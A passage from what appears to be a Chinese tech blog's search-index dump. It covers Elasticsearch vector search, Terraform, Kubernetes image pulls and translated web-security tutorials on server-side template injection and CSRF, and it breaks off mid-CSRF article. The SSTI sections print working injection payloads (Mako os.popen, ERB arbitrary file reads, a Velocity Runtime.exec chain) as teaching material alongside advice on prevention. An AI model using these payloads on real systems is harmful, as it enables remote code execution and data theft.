答案是 Yes ! 随着机器学习和人工智能等技术的发展,万物皆可 Embedding。换句话说就是,我们可以对文本、图片、音频、视频等等一切数据通过 Embedding 相关技术将其转换成特征向量,而一旦向量有了,向量搜索的需求随之也越发强烈,向量搜索的应用场景也变得一望无际、充满想象力。 ","date":"2022-04-15","objectID":"/es-vector-search/:1:0","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"ES 向量搜索说明 ES 向量搜索目前有两种方式: script_score _knn_search ","date":"2022-04-15","objectID":"/es-vector-search/:2:0","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"script_score 精确搜索 ES 7.6 版本对新增的字段类型 dense_vector 确认了稳定性保证,这个字段类型就是用来表示向量数据的。 数据建模示例: PUT my-index { \"mappings\": { \"properties\": { \"my_vector\": { \"type\": \"dense_vector\", \"dims\": 128 }, \"my_text\" : { \"type\" : \"keyword\" } } } } 如上图所示,我们在索引中建立了一个 dims 维度为 128 的向量数据字段。 script_score 搜索示例: { \"script_score\": { \"query\": {\"match_all\": {}}, \"script\": { \"source\": \"cosineSimilarity(params.query_vector, 'my_vector') + 1.0\", \"params\": {\"query_vector\": query_vector} } } } 上图所示的含义是使用 ES 7.3 版本之后内置的 cosineSimilarity 余弦相似度函数计算向量之间的相似度得分。 需要注意的是,script_score 这种搜索方式是先执行 query ,然后对匹配的文档再进行向量相似度算分,其隐含的含义是: 数据建模时向量字段可以与其它字段类型一起使用,也就是支持混合查询(先进行全文搜索,再基于搜索结果进行向量搜索)。 script_score 是一种暴力计算,数据集越大,性能损耗就越大。 ","date":"2022-04-15","objectID":"/es-vector-search/:2:1","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"_knn_search 搜索 由于 script_score 的性能问题,ES 在 8.0 版本引入了一种新的向量搜索方法 _knn_search(目前处于试验性功能)。 所谓的 _knn_search 其实就是一种 approximate nearest neighbor search (ANN) 即 近似最近邻搜索。这种搜索方式在牺牲一定准确性的情况下优先追求搜索性能。 为了使用 _knn_search 搜索,在数据建模时有所不同。 示例: PUT my-index-knn { \"mappings\": { \"properties\": { \"my_vector\": { \"type\": \"dense_vector\", \"dims\": 128, \"index\": true, \"similarity\": \"dot_product\" } } } } 如上所示,我们必须额外指定: index 为 true 。 similarity 指定向量相似度算法,可以是 l2_norm 、dot_product、cosine 其中之一。 额外指定 index 为 true 是因为,为了实现 _knn_search,ES 必须在底层构建一个新的数据结构(目前使用的是 HNSW graph )。 _knn_search 搜索示例: GET my-index-knn/_knn_search { \"knn\": { \"field\": \"my_vector\", \"query_vector\": [0.3, 0.1, 1.2, ...], \"k\": 10, \"num_candidates\": 100 }, \"_source\": [\"name\", \"date\"] } 使用 _knn_search 搜索的优点就是搜索速度非常快,缺点就是精确度不是百分百,同时无法与 Query DSL 一起使用,即无法进行混合搜索。 ","date":"2022-04-15","objectID":"/es-vector-search/:2:2","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":["Elasticsearch"],"content":"参考文档 text-similarity-search-with-vectors-in-elasticsearch dense-vector knn-search introducing-approximate-nearest-neighbor-search-in-elasticsearch ","date":"2022-04-15","objectID":"/es-vector-search/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch 向量搜索","uri":"/es-vector-search/"},{"categories":[],"content":"Terraform: 基础设施即代码 ","date":"2022-03-27","objectID":"/terraform-overview/:0:0","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":[],"content":"问题 现如今有很多 IT 系统的基础设施直接使用了云厂商提供的服务,假设我们需要构建以下基础设施: VPC 网络 虚拟主机 负载均衡器 数据库 文件存储 … 那么在公有云的环境中,我们一般怎么做? 在云厂商提供的前端管理页面上手动操作吗? 这也太费劲了吧,尤其是当基础设施越来越多、越来越复杂、以及跨多个云环境的时候,这些基础设施的配置和管理便会碰到一个巨大的挑战。 ","date":"2022-03-27","objectID":"/terraform-overview/:1:0","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":[],"content":"Terraform 为了解决上述问题,Terrafrom 应运而生。 使用 Terraform ,我们只需要编写简单的声明式代码,形如: ... resource \"alicloud_db_instance\" \"instance\" { engine = \"MySQL\" engine_version = \"5.6\" instance_type = \"rds.mysql.s1.small\" instance_storage = \"10\" ... } 然后执行几个简单的 terraform 命令便可以轻松创建一个阿里云的数据库实例。 这就是 Infrastructure as code 基础设施即代码。也就是通过代码而不是手动流程来管理和配置基础设施。 正如其官方文档所述,与手动管理基础设施相比,使用 Terraform 有以下几个优势: Terraform 可以轻松管理多个云平台上的基础设施。 使用人类可读的声明式的配置语言,有助于快速编写基础设施代码。 Terraform 的状态允许您在整个部署过程中跟踪资源更改。 可以对这些基础设施代码进行版本控制,从而安全地进行协作。 ","date":"2022-03-27","objectID":"/terraform-overview/:2:0","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":[],"content":"Provider \u0026 Module 你也许会感到困惑,我只是简单的应用了所写的声明式代码,怎么就构建出来了基础设施,这中间发生了什么? 其实简而言之就是 terraform 在执行的过程中内部调用了基础设施平台提供的 API 。 每个基础设施平台都会把对自身资源的操作统一封装打包成一个 provider 。provider 的概念就好像是编程语言中的一个依赖库。 在 terraform 中引用 provider : terraform { required_providers { alicloud = { source = \"aliyun/alicloud\" version = \"1.161.0\" } } } provider \"alicloud\" { # Configuration options } 我们在写代码的时候经常会把某些可重用的部分剥离出来作为一个模块,而在 terraform 中,对基础设施的管理也是如此,我们能够把可重用的 terraform 配置组成 module 模块,我们即可以在我们 local 本地自己编写模块,也可以直接使用第三方组织好并且公开发布的 remote 模块。 ","date":"2022-03-27","objectID":"/terraform-overview/:2:1","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":[],"content":"最后 本文只是抛砖引玉罢了,有关 terraform 的更多内容还请参考官方文档及其它资料。 ","date":"2022-03-27","objectID":"/terraform-overview/:3:0","tags":["CICD"],"title":"Terraform: 基础设施即代码","uri":"/terraform-overview/"},{"categories":["Kubernetes"],"content":"加速 Kubernetes 镜像拉取 Kubernetes pod 启动时会拉取用户指定的镜像,一旦这个过程耗时太久就会导致 pod 长时间处于 pending 的状态,从而无法快速提供服务。 镜像拉取的过程参考下图所示: Pod 的 imagePullPolicy 镜像拉取策略有三种: IfNotPresent:只有当镜像在本地不存在时才会拉取。 Always:kubelet 会对比镜像的 digest ,如果本地已缓存则直接使用本地缓存,否则从镜像仓库中拉取。 Never:只使用本地镜像,如果不存在则直接失败。 说明:每个镜像的 digest 一定唯一,但是 tag 可以被覆盖。 从镜像拉取的过程来看,我们可以从以下三个方面来加速镜像拉取: 缩减镜像大小: 使用较小的基础镜像、移除无用的依赖、减少镜像 layer 、使用多阶段构建等等。 推荐使用 docker-slim 加快镜像仓库与 k8s 节点之间的网络传输速度。 主动缓存镜像: Pre-pulled 预拉取镜像,以便后续直接使用本地缓存,比如可以使用 daemonset 定期同步仓库中的镜像到 k8s 节点本地。 ","date":"2022-03-13","objectID":"/speed-up-image-pull/:1:0","tags":["Kubernetes"],"title":"加速 Kubernetes 镜像拉取","uri":"/speed-up-image-pull/"},{"categories":["Kubernetes"],"content":"题外话 ","date":"2022-03-13","objectID":"/speed-up-image-pull/:2:0","tags":["Kubernetes"],"title":"加速 Kubernetes 镜像拉取","uri":"/speed-up-image-pull/"},{"categories":["Kubernetes"],"content":"1:本地镜像缓存多久?是否会造成磁盘占用问题? 本地缓存的镜像一定会占用节点的磁盘空间,也就是说缓存的镜像越多,占用的磁盘空间越大,并且缓存的镜像默认一直存在,并没有 TTL 机制(比如说多长时间以后自动过期删除)。 但是,k8s 的 GC 机制会自动清理掉镜像。当节点的磁盘使用率达到 HighThresholdPercent 高百分比阈值时(默认 85% )会触发垃圾回收,此时 kubelet 会根据使用情况删除最旧的不再使用的镜像,直到磁盘使用率达到 LowThresholdPercent(默认 80% )。 ","date":"2022-03-13","objectID":"/speed-up-image-pull/:2:1","tags":["Kubernetes"],"title":"加速 Kubernetes 镜像拉取","uri":"/speed-up-image-pull/"},{"categories":["Kubernetes"],"content":"2:镜像 layer 层数真的越少越好吗? 我们经常会看到一些文章说在 Dockerfile 里使用更少的 RUN 命令之类的减少镜像的 layer 层数然后缩减镜像的大小,layer 越少镜像越小这确实没错,但是某些场景下得不偿失。首先,如果你的 RUN 命令很大,一旦你修改了其中某一个小的部分,那么这个 layer 在构建的时候就只能重新再来,无法使用任何缓存;其次,镜像的 layer 在上传和下载的过程中是可以并发的,而单独一个大的层无法进行并发传输。 ","date":"2022-03-13","objectID":"/speed-up-image-pull/:2:2","tags":["Kubernetes"],"title":"加速 Kubernetes 镜像拉取","uri":"/speed-up-image-pull/"},{"categories":["web security"],"content":"web 安全系列文章【译文】","date":"2021-08-12","objectID":"/web-security/","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Cross-site request forgery (CSRF) CSRF XSS vs CSRF CSRF tokens SameSite cookies ","date":"2021-08-12","objectID":"/web-security/:1:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Clickjacking (UI redressing) Clickjacking (UI redressing) ","date":"2021-08-12","objectID":"/web-security/:2:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Cross-origin resource sharing (CORS) CORS Same-origin policy (SOP) Access-control-allow-origin ","date":"2021-08-12","objectID":"/web-security/:3:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Server-side request forgery (SSRF) Server-side request forgery (SSRF) Blind SSRF vulnerabilities ","date":"2021-08-12","objectID":"/web-security/:4:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"HTTP request smuggling HTTP request smuggling Finding HTTP request smuggling vulnerabilities Exploiting HTTP request smuggling vulnerabilities ","date":"2021-08-12","objectID":"/web-security/:5:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"OS command injectionn OS command injection ","date":"2021-08-12","objectID":"/web-security/:6:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Server-side template injection Server-side template injection Exploiting server-side template injection vulnerabilities ","date":"2021-08-12","objectID":"/web-security/:7:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"Directory traversal Directory traversal ","date":"2021-08-12","objectID":"/web-security/:8:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"DOM-based vulnerabilities DOM-based vulnerabilities DOM clobbering ","date":"2021-08-12","objectID":"/web-security/:9:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"HTTP Host header attacks HTTP Host header attacks Exploiting HTTP Host header vulnerabilities Password reset poisoning ","date":"2021-08-12","objectID":"/web-security/:10:0","tags":[],"title":"web 安全系列文章【译文】","uri":"/web-security/"},{"categories":["web security"],"content":"web 安全之 Server-side template injection","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"Server-side template injection 在本节中,我们将介绍什么是服务端模板注入,并概述利用此漏洞的基本方法,同时也将提供一些避免此漏洞的建议。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:0:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"什么是服务端模板注入 服务端模板注入是指攻击者能够利用模板自身语法将恶意负载注入模板,然后在服务端执行。 模板引擎被设计成通过结合固定模板和可变数据来生成网页。当用户输入直接拼接到模板中,而不是作为数据传入时,可能会发生服务端模板注入攻击。这使得攻击者能够注入任意模板指令来操纵模板引擎,从而能够完全控制服务器。顾名思义,服务端模板注入有效负载是在服务端交付和执行的,这可能使它们比典型的客户端模板注入更危险。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:1:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"服务端模板注入会造成什么影响 服务端模板注入漏洞会使网站面临各种攻击,具体取决于所讨论的模板引擎以及应用程序如何使用它。在极少数情况下,这些漏洞不会带来真正的安全风险。然而,大多数情况下,服务端模板注入的影响可能是灾难性的。 最严重的情况是,攻击者有可能完成远程代码执行,从而完全控制后端服务器,并利用它对内部基础设施进行其他攻击。 即使在不可能完全执行远程代码的情况下,攻击者通常仍可以使用服务端模板注入作为许多其他攻击的基础,从而可能获得服务器上敏感数据和任意文件的访问权限。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:2:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"服务端模板注入漏洞是如何产生的 当用户输入直接拼接到模板中而不是作为数据传入时,就会出现服务端模板注入漏洞。 简单地提供占位符并在其中呈现动态内容的静态模板通常不会受到服务端模板注入的攻击。典型的例子如提取用户名作为电子邮件的开头,例如以下从 Twig 模板中提取的内容: $output = $twig-\u003erender(\"Dear {first_name},\", array(\"first_name\" =\u003e $user.first_name) ); 这不容易受到服务端模板注入的攻击,因为用户的名字只是作为数据传递到模板中的。 但是,Web 开发人员有时可能将用户输入直接连接到模板中,如: $output = $twig-\u003erender(\"Dear \" . $_GET['name']); 此时,不是将静态值传递到模板中,而是使用 GET name 动态生成模板本身的一部分。由于模板语法是在服务端执行的,这可能允许攻击者使用 name 参数如下: http://vulnerable-website.com/?name={{bad-stuff-here}} 像这样的漏洞有时是由于不熟悉安全概念的人设计了有缺陷的模板造成的。与上面的例子一样,你可能会看到不同的组件,其中一些组件包含用户输入,连接并嵌入到模板中。在某些方面,这类似于 SQL 注入漏洞,都是编写了不当的语句。 然而,有时这种行为实际上是有意为之。例如,有些网站故意允许某些特权用户(如内容编辑器)通过设计来编辑或提交自定义模板。如果攻击者能够利用特权帐户,这显然会带来巨大的安全风险。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:3:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"构造服务端模板注入攻击 识别服务端模板注入漏洞并策划成功的攻击通常涉及以下抽象过程。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:4:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"探测 服务端模板注入漏洞常常不被注意到,这不是因为它们很复杂,而是因为它们只有在明确寻找它们的审计人员面前才真正明显。如果你能够检测到存在漏洞,则利用它将非常容易。在非沙盒环境中尤其如此。 与任何漏洞一样,利用漏洞的第一步就是先找到它。也许最简单的初始方法就是注入模板表达式中常用的一系列特殊字符,例如 ${{\u003c%[%’\"}}%\\ ,去尝试模糊化模板。如果引发异常,则表明服务器可能以某种方式解释了注入的模板语法,从而表明服务端模板注入可能存在漏洞。 服务端模板注入漏洞发生在两个不同的上下文中,每个上下文都需要自己的检测方法。不管模糊化尝试的结果如何,也要尝试以下特定于上下文的方法。如果模糊化是不确定的,那么使用这些方法之一,漏洞可能会暴露出来。即使模糊化确实表明存在模板注入漏洞,你仍然需要确定其上下文才能利用它。 Plaintext context 纯文本上下文。 大多数模板语言允许你通过直接使用 HTML tags 或模板语法自由地输入内容,后端在发送 HTTP 响应之前,会把这些内容渲染为 HTML 。例如,在 Freemarker 模板中,render('Hello ' + username) 可能会渲染为 Hello Carlos 。 这有时经常被误认为是一个简单的 XSS 漏洞并用于 XSS 攻击。但是,通过将数学运算设置为参数的值,我们可以测试其是否也是服务端模板注入攻击的潜在攻击点。 例如,考虑包含以下模板代码: render('Hello ' + username) 在审查过程中,我们可以通过请求以下 URL 来测试服务端模板注入: http://vulnerable-website.com/?username=${7*7} 如果结果输出包含 Hello 49 ,这表明数学运算被服务端执行了。这是服务端模板注入漏洞的一个很好的证明。 请注意,成功计算数学运算所需的特定语法将因使用的模板引擎而异。我们将在 Identify 步骤详细说明。 Code context 代码上下文。 在其他情况下,漏洞暴露是因为将用户输入放在了模板表达式中,就像上文中的电子邮件示例中看到的那样。这可以采用将用户可控制的变量名放置在参数中的形式,例如: greeting = getQueryParameter('greeting') engine.render(\"Hello {{\"+greeting+\"}}\", data) 在网站上生成的 URL 类似于: http://vulnerable-website.com/?greeting=data.username 渲染的输出可能为 Hello Carlos 。 在评估过程中很容易忽略这个上下文,因为它不会产生明显的 XSS,并且与简单的 hashmap 查找几乎没有区别。在这种情况下,测试服务端模板注入的一种方法是首先通过向值中注入任意 HTML 来确定参数不包含直接的 XSS 漏洞: http://vulnerable-website.com/?greeting=data.username\u003ctag\u003e 在没有 XSS 的情况下,这通常会导致输出中出现空白(只有 Hello,没有 username ),编码标签或错误信息。下一步是尝试使用通用模板语法来跳出该语句,并尝试在其后注入任意 HTML : http://vulnerable-website.com/?greeting=data.username}}\u003ctag\u003e 如果这再次导致错误或空白输出,则说明你使用了错误的模板语法。或者,模板样式的语法均无效,此时则无法进行服务端模板注入。如果输出与任意 HTML 一起正确呈现,则这是服务端模板注入漏洞存在的关键证明: Hello Carlos\u003ctag\u003e ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:4:1","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"识别 一旦检测到潜在的模板注入,下一步就是确定模板引擎。 尽管有大量的模板语言,但许多都使用非常相似的语法,这些语法是专门为避免与 HTML 字符冲突而选择的。因此,构造试探性载荷来测试正在使用哪个模板引擎可能相对简单。 简单地提交无效的语法就足够了,因为生成的错误消息会告诉你用了哪个模板引擎,有时甚至能具体到哪个版本。例如,非法的表达式 \u003c%=foobar%\u003e 触发了基于 Ruby 的 ERB 引擎的如下响应: (erb):1:in `\u003cmain\u003e': undefined local variable or method `foobar' for main:Object (NameError) from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval' from /usr/lib/ruby/2.5.0/erb.rb:876:in `result' from -e:4:in `\u003cmain\u003e' 否则,你将需要手动测试不同语言特定的有效负载,并研究模板引擎如何解释它们。使用基于语法有效或无效的排除过程,你可以比你想象的更快地缩小选项范围。一种常见的方法是使用来自不同模板引擎的语法注入任意的数学运算。然后,观察它们是否被成功执行。要完成此过程,可以使用类似于以下内容的决策树: 你应该注意,同样的有效负载有时可以获得多个模板语言的成功响应。例如,有效载荷 {{7*'7'}} 在 Twig 中返回 49 ,在 Jinja2 中返回 7777777 。因此,不要只因为成功响应了就草率下结论。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:4:2","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"利用 在检测到存在潜在漏洞并成功识别模板引擎之后,就可以开始尝试寻找利用它的方法。详细请翻阅下文。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:4:3","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"如何防止服务端模板注入漏洞 防止服务端模板注入的最佳方法是不允许任何用户修改或提交新模板。然而,由于业务需求,这有时是不可避免的。 避免引入服务端模板注入漏洞的最简单方法之一是,除非绝对必要,始终使用“无逻辑”模板引擎,如 Mustache。尽可能的将逻辑与表示分离,这可以大大减少高危险性的基于模板的攻击的风险。 另一措施是仅在完全删除了潜在危险模块和功能的沙盒环境中执行用户的代码。不幸的是,对不可信的代码进行沙盒处理本身就很困难,而且容易被绕过。 最后,对于接受任意代码执行无法避免的情况,另一种补充方法是,通过在锁定的例如 Docker 容器中部署模板环境,来应用你自己的沙盒。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/server-side-template-injection/:5:0","tags":[],"title":"web 安全之 Server-side template injection","uri":"/translation/web-security/server-side-template-injection/server-side-template-injection/"},{"categories":["web security"],"content":"Exploiting server-side template injection vulnerabilities","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"利用服务端模板注入漏洞 在本节中,我们将更仔细地了解一些典型的服务端模板注入漏洞,并演示如何利用之前归纳的方法。通过付诸实践,你可以潜在地发现和利用各种不同的服务端模板注入漏洞。 一旦发现服务端模板注入漏洞,并确定正在使用的模板引擎,成功利用该漏洞通常涉及以下过程。 阅读 模板语法 安全文档 已知的漏洞利用 探索环境 构造自定义攻击 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:0:0","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"阅读 除非你已经对模板引擎了如指掌,否则应该先阅读其文档。虽然这可能有点无聊,但是不要低估文档可能是有用的信息来源。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:1:0","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"学习基本模板语法 学习基本语法、关键函数和变量处理显然很重要。即使只是简单地学习如何在模板中嵌入本机代码块,有时也会很快导致漏洞利用。例如,一旦你知道正在使用基于 Python 的 Mako 模板引擎,实现远程代码执行可以简单到: \u003c% import os x=os.popen('id').read() %\u003e ${x} 在非沙盒环境中,实现远程代码执行并将其用于读取、编辑或删除任意文件在许多常见模板引擎中都非常简单。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:1:1","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"阅读安全部分 除了提供如何创建和使用模板的基础知识外,文档还可能提供某种“安全”部分。这个部分的名称会有所不同,但它通常会概括出人们应该避免使用模板进行的所有潜在危险的事情。这可能是一个非常宝贵的资源,甚至可以作为一种备忘单,为你应该寻找哪些行为,以及如何利用它们提供指南。 即使没有专门的“安全”部分,如果某个特定的内置对象或函数会带来安全风险,文档中几乎总是会出现某种警告。这个警告可能不会提供太多细节,但至少应将其标记为可以深入挖掘研究的内容。 例如,在 ERB 模板中,文档显示可以列出所有目录,然后按如下方式读取任意文件: \u003c%= Dir.entries('/') %\u003e \u003c%= File.open('/example/arbitrary-file').read %\u003e ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:1:2","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"查找已知的漏洞利用 利用服务端模板注入漏洞的另一个关键方面是善于查找其他在线资源。一旦你能够识别正在使用的模板引擎,你应该浏览 web 以查找其他人可能已经发现的任何漏洞。由于一些主要模板引擎的广泛使用,有时可能会发现有充分记录的漏洞利用,你可以对其进行调整以利用到自己的目标网站。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:1:3","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"探索 此时,你可能已经在使用文档时偶然发现了一个可行的漏洞利用。如果没有,下一步就是探索环境并尝试发现你可以访问的所有对象。 许多模板引擎公开某种类型的 self 或 environment 对象,其作用类似于包含模板引擎支持的所有对象、方法和属性的命名空间。如果存在这样的对象,则可以潜在地使用它来生成范围内的对象列表。例如,在基于 Java 的模板语言中,有时可以使用以下注入列出环境中的所有变量: ${T(java.lang.System).getenv()} 这可以作为创建一个潜在有趣对象和方法的短名单的基础,以便进一步研究。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:2:0","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"开发人员提供的对象 需要注意的是,网站将包含由模板提供的内置对象和由 web 开发人员提供的自定义、特定于站点的对象。你应该特别注意这些非标准对象,因为它们特别可能包含敏感信息或可利用的方法。由于这些对象可能在同一网站中的不同模板之间有所不同,请注意,你可能需要在每个不同模板的上下文中研究对象的行为,然后才能找到利用它的方法。 虽然服务端模板注入可能导致远程代码执行和服务器的完全接管,但在实践中,这并非总是可以实现。然而,仅仅排除了远程代码执行,并不一定意味着不存在其他类型的攻击。你仍然可以利用服务端模板注入漏洞进行其他高危害性攻击,例如目录遍历,以访问敏感数据。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:2:1","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"构造自定义攻击 到目前为止,我们主要研究了通过重用已记录的漏洞攻击或使用模板引擎中已知的漏洞来构建攻击。但是,有时你需要构建一个自定义的漏洞利用。例如,你可能会发现模板引擎在沙盒中执行模板,这会使攻击变得困难,甚至不可能。 在识别攻击点之后,如果没有明显的方法来利用漏洞,你应该继续使用传统的审计技术,检查每个函数的可利用行为。通过有条不紊地完成这一过程,你有时可以构建一个复杂的攻击,甚至能够利用于更安全的目标。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:3:0","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"使用对象链构造自定义攻击 如上文所述,第一步是标识你有权访问的对象和方法。有些对象可能会立即跳出来。通过结合你自己的知识和文档中提供的信息,你应该能够将你想要更彻底地挖掘的对象的短名单放在一起。 在研究对象的文档时,要特别注意这些对象允许访问哪些方法,以及它们返回哪些对象。通过深入到文档中,你可以发现可以链接在一起的对象和方法的组合。将正确的对象和方法链接在一起有时允许你访问最初看起来遥不可及的危险功能和敏感数据。 例如,在基于 Java 的模板引擎 Velocity 中,你可以调用 $class 访问 ClassTool 对象。研究文档表明,你可以链式使用 $class.inspect() 方法和 $class.type 属性引用任意对象。在过去,这被用来在目标系统上执行 shell 命令,如下所示: $class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"bad-stuff-here\") ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:3:1","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"使用开发人员提供的对象构造自定义攻击 一些模板引擎默认运行在安全、锁定的环境中,以便尽可能地降低相关风险。尽管这使得利用这些模板进行远程代码执行变得很困难,但是开发人员创建的暴露于模板的对象可以提供更进一步的攻击点。 然而,虽然通常为模板内置对象提供了大量的文档,但是网站特定的对象几乎根本就没有文档记录。因此,要想知道如何利用这些漏洞,就需要你手动调查网站的行为,以确定攻击点,并据此构建你自己的自定义攻击。 ","date":"2021-03-10","objectID":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/:3:2","tags":[],"title":"Exploiting server-side template injection vulnerabilities","uri":"/translation/web-security/server-side-template-injection/exploiting-server-side-template-injection-vulnerabilities/"},{"categories":["web security"],"content":"web 安全之 CSRF","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"Cross-site request forgery (CSRF) 在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:0:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"什么是 CSRF 跨站请求伪造(CSRF)是一种 web 安全漏洞,它允许攻击者诱使用户执行他们不想执行的操作。攻击者进行 CSRF 能够部分规避同源策略。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:1:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF 攻击能造成什么影响 在成功的 CSRF 攻击中,攻击者会使受害用户无意中执行某个操作。例如,这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转账。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受害用户在应用程序中具有特权角色,则攻击者可能能够完全控制应用程序的所有数据和功能。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:2:0","tags":[],"title":"web 安全之 